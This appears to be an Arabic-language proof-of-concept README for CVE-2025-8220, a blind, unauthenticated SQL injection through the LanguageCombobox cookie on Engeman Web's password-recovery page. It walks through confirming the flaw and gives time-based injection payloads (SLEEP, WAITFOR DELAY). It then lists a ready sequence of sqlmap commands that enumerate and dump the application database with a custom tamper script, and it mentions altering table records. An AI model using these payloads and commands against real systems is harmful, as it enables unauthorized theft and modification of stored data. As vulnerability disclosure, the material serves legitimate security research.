
إثبات المفهوم لاستغلال الثغرة الأمنية الموصوفة في CVE-2025-8220، والتي تتعلق بإمكانية حقن SQL أثناء تحميل صفحة استعادة كلمة المرور في برنامج Engeman Web.
إثبات المفهوم لاستغلال الثغرة الموصوفة في CVE-2025-8220, والتي تتعلق بإمكانية SQL Injection أثناء تحميل صفحة استعادة كلمة المرور في برنامج Engeman Web.
تم العثور على ثغرة تسمح بالتلاعب باستعلام SQL الذي يتم إجراؤه أثناء تحميل صفحة استعادة كلمة المرور في برنامج Engeman Web. يمكن استغلال هذه الثغرة من قبل الزوار دون الوصول إلى أي بيانات اعتماد صالحة، أي بطريقة غير مصادق عليها، للمساس بسرية وسلامة البيانات المخزنة في قاعدة بيانات التطبيق، بالإضافة إلى احتمال التسبب في رفض الخدمة على مستوى المكون عن طريق تغيير القيم في الجداول الحيوية.
بعد الوصول إلى التطبيق وإعادة التوجيه إلى صفحة تسجيل الدخول، انقر على الزر لإعادة التوجيه إلى صفحة استعادة كلمة المرور.


افحص الطلب الذي أرسله المتصفح لتحميل صفحة استعادة كلمة المرور. ستلاحظ وجود بعض ملفات تعريف الارتباط، بما في ذلك ملف تعريف الارتباط LanguageCombobox، الذي يتم تخزينه أثناء الوصول الأولي. تم استخدام برنامج Burp Suite في هذا العرض التوضيحي لعرض وإعادة إرسال طلبات المتصفح بكفاءة أكبر.

لتأكيد الثغرة، أدخل علامة اقتباس مفردة كقيمة لملف تعريف الارتباط المذكور وأعد إرسال الطلب. يجب أن يظهر خطأ يشير إلى علامة اقتباس غير مغلقة في رد التطبيق.

لا يتم عرض نتائج الاستعلام مباشرة على الصفحة المُرجعَة، مما يجعل هذا استغلالًا أعمى. يمكنك إدخال حمولات مثل ' AND SLEEP(30)-- - أو '; WAITFOR DELAY '0:0:30'-- لاستنتاج نوع قاعدة البيانات الأساسية.

بمجرد تأكيد الحقن، يمكن استخدام أداة آلية مثل sqlmap لتفريغ قاعدة البيانات.
من المهم ملاحظة أن وسيط --technique يجب أن يتضمن القيمة SEB بحيث يتم استخدام التقنيات المستندة إلى الاستعلامات المكدسة والأخطاء والمقارنات البوليانية. أولاً، لأن الاستغلال الأعمى ضروري، وثانيًا، لأن حذف الخيار S من قيمة الوسيط أدى إلى عدم قدرة sqlmap على العثور على نقطة الحقن في قواعد بيانات SQL Server.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

سيتم تحديد تقنيات استغلال مختلفة محتملة من خلال نقطة الحقن. بعد ذلك، يمكن استرداد معلومات قاعدة البيانات.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

لتفريغ سجلات الجدول باستخدام sqlmap، من الضروري استخدام سكريبت تعديل مخصص (على الأقل لقواعد بيانات SQL Server) باسم replace-dbo.py في هذا المستودع. والسبب هو أن حمولات sqlmap التي تستخدم التنسيق <database>.dbo.<table> للإشارة إلى كائن الجدول تتعارض مع معالجة التطبيق. يقوم السكريبت المذكور بتحويله إلى التنسيق <database>.<table> فقط. إذا كانت نسخة Engeman Web تستخدم MySQL أو قاعدة بيانات أخرى، فلن يكون هذا السكريبت ضروريًا، أو سيلزم إنشاء سكريبت آخر.


تذكر أن أداة sqlmap تتطلب وجود ملف فارغ باسم init.py في الدليل حيث يوجد سكريبت التعديل ليتم استخدامه، إذا لم تضعه في دليل التعديل الافتراضي لتثبيتك.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py
سيؤدي هذا السكريبت إلى حدوث تعارضات إذا تم استخدامه في أي مرحلة من العملية بخلاف تفريغ جدول معين. لذلك، لا تستخدمه للحصول على قواعد البيانات (--dbs) أو الجداول (--tables) أو الأعمدة (--columns) أو معلومات إضافية مثل مستخدم قاعدة البيانات (--current-user).
نظرًا لأن المستخدم الذي يستخدمه التطبيق للتفاعل مع قاعدة البيانات يتمتع بصلاحيات عالية في سياق سجلات النظام، فمن الممكن أيضًا التلاعب بالاستعلام الأساسي لتغيير قيم سجلات الجدول (يكون هذا أسهل بكثير إذا كانت النسخة تستخدم SQL Server كقاعدة بيانات أساسية).



من خلال هذه الثغرة، ستكون أي نسخة من النظام عرضة للاسترداد غير المصرح به وربما تعديل البيانات الموجودة في قاعدة البيانات المستخدمة.
تم تأكيد هذه الثغرة في الإصدارات حتى 12.0.0.1، ولكن من المحتمل أن يكون إصدار أحدث أيضًا عرضة للخطر.